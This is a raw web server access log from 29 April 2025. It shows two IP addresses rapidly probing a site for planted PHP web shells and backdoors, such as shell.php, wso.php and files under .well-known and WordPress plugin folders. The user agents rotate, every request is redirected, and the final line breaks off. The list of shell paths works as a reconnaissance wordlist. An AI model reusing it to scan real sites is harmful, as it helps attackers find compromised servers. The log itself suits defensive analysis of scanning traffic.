- - [29/Apr/2025:14:45:41 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.93 - - [29/Apr/2025:14:45:41 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.93 - - [29/Apr/2025:14:45:42 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:42 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:42 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:42 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:43 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.93 - - [29/Apr/2025:14:45:43 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:43 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:44 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:44 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:44 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:45 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.93 - - [29/Apr/2025:14:45:45 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.93 - - [29/Apr/2025:14:45:45 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:45 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:45 -0400] "GET /Files/Mo0n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:46 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:46 -0400] "GET /bv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:46 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:47 -0400] "GET /403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:47 -0400] "GET /bk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:47 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:47 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.93 - - [29/Apr/2025:14:45:47 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:48 -0400] "GET /hj.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:48 -0400] "GET /sym.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:45:48 -0400] "GET /lp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.93 - - [29/Apr/2025:14:45:48 -0400] "GET /Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.93 - - [29/Apr/2025:14:45:48 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:45:48 -0400] "GET /yt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:49 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:49 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:49 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:49 -0400] "GET /.github/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.93 - - [29/Apr/2025:14:45:50 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:50 -0400] "GET /bn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:50 -0400] "GET /wordpress/update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:50 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.93 - - [29/Apr/2025:14:45:51 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.93 - - [29/Apr/2025:14:45:51 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:51 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:51 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.93 - - [29/Apr/2025:14:45:51 -0400] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:52 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:45:52 -0400] "GET /wp-admin/includes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:52 -0400] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.93 - - [29/Apr/2025:14:45:53 -0400] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:53 -0400] "GET /wp-admin/css/colors/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.93 - - [29/Apr/2025:14:45:53 -0400] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.93 - - [29/Apr/2025:14:45:53 -0400] "GET /wp-includes/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:53 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:54 -0400] "GET /wp-content/themes/xc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:54 -0400] "GET /baxa1.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:54 -0400] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.93 - - [29/Apr/2025:14:45:54 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:55 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:45:55 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:56 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:56 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:56 -0400] "GET /wp-content/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:57 -0400] "GET /vv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:57 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:57 -0400] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.93 - - [29/Apr/2025:14:45:58 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.93 - - [29/Apr/2025:14:45:58 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.93 - - [29/Apr/2025:14:45:58 -0400] "GET /assets/css/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:58 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:58 -0400] "GET /ff.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:59 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:59 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:59 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:45:59 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:46:00 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:46:00 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:46:00 -0400] "GET /wp-includes/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:46:00 -0400] "GET /wp-admin/maint/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:46:00 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:46:01 -0400] "GET /wp-tinymce.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:46:01 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:46:01 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:46:01 -0400] "GET /retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.93 - - [29/Apr/2025:14:46:01 -0400] "GET /aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:46:02 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:46:02 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.93 - - [29/Apr/2025:14:46:02 -0400] "GET /dr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:46:02 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.93 - - [29/Apr/2025:14:46:02 -0400] "GET /wp-admin/Files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:46:03 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.93 - - [29/Apr/2025:14:46:03 -0400] "GET /ay.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:03 -0400] "GET /wordpress/wp-admin/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:03 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:04 -0400] "GET /wp-content/plugins/ioptimization/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:04 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:04 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:04 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:05 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.18 - - [29/Apr/2025:14:46:05 -0400] "GET /yy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:05 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:06 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:46:06 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:07 -0400] "GET /tr.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:07 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:07 -0400] "GET /wp-includes/css/dist/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:46:07 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.18 - - [29/Apr/2025:14:46:08 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:08 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:08 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.18 - - [29/Apr/2025:14:46:08 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.18 - - [29/Apr/2025:14:46:09 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:09 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.18 - - [29/Apr/2025:14:46:09 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.18 - - [29/Apr/2025:14:46:10 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.18 - - [29/Apr/2025:14:46:10 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux 